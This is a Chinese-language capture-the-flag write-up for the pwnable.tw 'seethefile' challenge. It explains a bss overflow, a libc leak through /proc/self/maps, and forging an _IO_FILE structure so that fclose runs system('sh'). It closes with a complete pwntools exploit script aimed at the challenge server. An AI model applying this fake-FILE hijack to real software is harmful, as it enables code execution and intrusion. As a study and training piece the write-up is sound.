idea 做这道题目的时候没啥思路,有了泄漏不知道怎么控制程序流。看了别人 wp 才知道要通过伪造 _io_file 来实现,正好来学习一下这个坑。
1 2 3 4 5 6 7 carlstar@ubuntu:~/Desktop$ checksec seethefile [*] '/home/carlstar/Desktop/seethefile' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
程序的漏洞很容易看出来,就是在2次 scanf 的时候有溢出,第一次在栈上就很自然的想到看有没有机会做 rop。后来发现有 2 个坑:一是在 atoi 时如果不在 1-5 程序会 abort 然后就是程序不是正常 return 的,每次 return 前会调用 exit 这样的话就不能通过 ret 来控制 eip 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int __cdecl main (int argc, const char **argv, const char **envp) { char nptr; unsigned int v4; v4 = __readgsdword(0x14 u); init(); welcome(); while ( 1 ) { menu(); __isoc99_scanf("%s" , &nptr); switch ( atoi(&nptr) ) { case 1 : openfile(); break ; case 2 : readfile(); break ; case 3 : writefile(); break ; case 4 : closefile(); break ; case 5 : printf ("Leave your name :" ); __isoc99_scanf("%s" , &name); printf ("Thank you %s ,see you next time\n" , &name); if ( fp ) fclose(fp); exit (0 ); return ; default : puts ("Invaild choice" ); exit (0 ); return ; } } }
第二处溢出在 bss 段上,可以控制 fp 指针。
1 2 3 4 5 6 7 .bss:0804B260 name db ? ; ; DATA XREF: main+9F↑o .bss:0804B260 ; main+B4↑o .bss:0804B280 public fp .bss:0804B280 ; FILE *fp .bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r .bss:0804B280 ; openfile+AD↑w ... .bss:0804B280 _bss ends
leak libc 我们知道在 linux 系统上一切皆文件,利用程序的 open read write 可以读取并输出 /proc/self/maps 下程序的地址信息。可以类比 pwngdb 的 vmmap,不过这个是集合了多个命令呈现的,可以去看 vmmap.py。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 @pwndbg.memoize.reset_on_stop def proc_pid_maps () : """ Parse the contents of /proc/$PID/maps on the server. Returns: A list of pwndbg.memory.Page objects. """ if pwndbg.qemu.is_qemu(): return tuple() example_proc_pid_maps = """ 7f95266fa000-7f95268b5000 r-xp 00000000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so 7f95268b5000-7f9526ab5000 ---p 001bb000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so 7f9526ab5000-7f9526ab9000 r--p 001bb000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so 7f9526ab9000-7f9526abb000 rw-p 001bf000 08:01 418404 /lib/x86_64-linux-gnu/libc-2.19.so 7f9526abb000-7f9526ac0000 rw-p 00000000 00:00 0 7f9526ac0000-7f9526ae3000 r-xp 00000000 08:01 418153 /lib/x86_64-linux-gnu/ld-2.19.so 7f9526cbe000-7f9526cc1000 rw-p 00000000 00:00 0 7f9526ce0000-7f9526ce2000 rw-p 00000000 00:00 0 7f9526ce2000-7f9526ce3000 r--p 00022000 08:01 418153 /lib/x86_64-linux-gnu/ld-2.19.so 7f9526ce3000-7f9526ce4000 rw-p 00023000 08:01 418153 /lib/x86_64-linux-gnu/ld-2.19.so 7f9526ce4000-7f9526ce5000 rw-p 00000000 00:00 0 7f9526ce5000-7f9526d01000 r-xp 00000000 08:01 786466 /bin/dash 7f9526f00000-7f9526f02000 r--p 0001b000 08:01 786466 /bin/dash 7f9526f02000-7f9526f03000 rw-p 0001d000 08:01 786466 /bin/dash 7f9526f03000-7f9526f05000 rw-p 00000000 00:00 0 7f95279fe000-7f9527a1f000 rw-p 00000000 00:00 0 [heap] 7fff3c177000-7fff3c199000 rw-p 00000000 00:00 0 [stack] 7fff3c1e8000-7fff3c1ea000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] """ locations = [ '/proc/%s/maps' % pwndbg.proc.pid, '/proc/%s/map' % pwndbg.proc.pid, '/usr/compat/linux/proc/%s/maps' % pwndbg.proc.pid, ]
fake io_file 通过泄漏拿到了 libc 再找一块儿空闲可以写的地方,来伪造 file结构体。然后把 fp 指针指向这里,这样在执行到 fclose(fp); 就会根据之前布置好结构体的参数触发 _IO_FINISH(fp) 来 getshell。
如何布置结构体参数呢?
libc版本 <= 2.23的时候才可以这样布置结构体,因为大于等于2.24的libc会对vtable的位置做判断,无法令其指向自己构造的区域
1 2 3 4 1 _IO_FILE结构体大小为0x94,版本不同大小不同 2 在检查vtable_offset==0之后函数对fp->_flags的_IO_IS_FILEBUF位进行检查(0x2000) 3 若该位不为0则调用_IO_un_link(fp)将fp指向的FILE结构体从_IO_list_all的单向链表中取下,并调用_IO_file_close_it(fp)关闭fp 4 然后将调用_IO_FINISH(fp),相当于执行((struct IO_FILE_plus *)fp->vtable)->__finish(fp)
为了防止在fclose的过程中会触发异常造成程序异常终止,我们需要把 FILE结构体的 _flags变量的_IO_IS_FILEBUF标志位置0,例如置为0xffffdfff,后面 4 字节跟要执行函数的参数就行,为了防止参数传入错误,我们需要截断一下, || ; 都行。那么我们构造好的结构体应该是下面这样。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *if __name__ == '__main__' : context.log_level = 'debug' context.arch = 'amd64' LOCAL = 0 DEBUG = 0 s = lambda data :t.send(str(data)) sa = lambda delim,data :t.sendafter(str(delim), str(data)) sl = lambda data :t.sendline(str(data)) sla = lambda delim,data :t.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :t.recv(numb) ru = lambda delims, drop=True :t.recvuntil(delims, drop) rn = lambda numb :t.recvn(numb) irt = lambda :t.interactive() uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) leak = lambda name,addr :log.success('{} : {:#x}' .format(name, addr)) if LOCAL: t = remote('192.168.5.191' , 9999 ) else : t = remote('chall.pwnable.tw' , 10200 ) libc = ELF('libc_32.so.6' ) def debug () : raw_input('go?' ) def open (path) : sla('choice :' , '1' ) sla('see :' , path) def read () : sla('choice :' , '2' ) def write () : sla('choice :' , '3' ) def exit (payload) : sla('choice :' , '5' ) sa('your name :' , payload) def close () : sla('choice :' , '4' ) open("/proc/self/maps" ) read() write() ru('[heap]\n' ) addr_libc = int(ru('-' ),16 ) + 0x1000 leak('addr_libc' ,addr_libc) addr_sys = addr_libc + libc.symbols['system' ] leak('addr_sys' , addr_sys) close() open('/proc/self/maps' ) payload = '\x00' * 0x20 + p32(0x0804b300 ) payload += '\x00' * (0x0804b300 - 0x0804B280 - 0x4 ) payload += '\xff\xff\xdf\xff;sh\x00' .ljust(0x94 ,'\x00' ) payload += p32(0x0804B300 + 0x98 ) payload += p32(addr_sys) * 18 exit(payload) irt()
参考链接 [pwnable.tw]seethefile [IOFILE学习–fclose]
glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行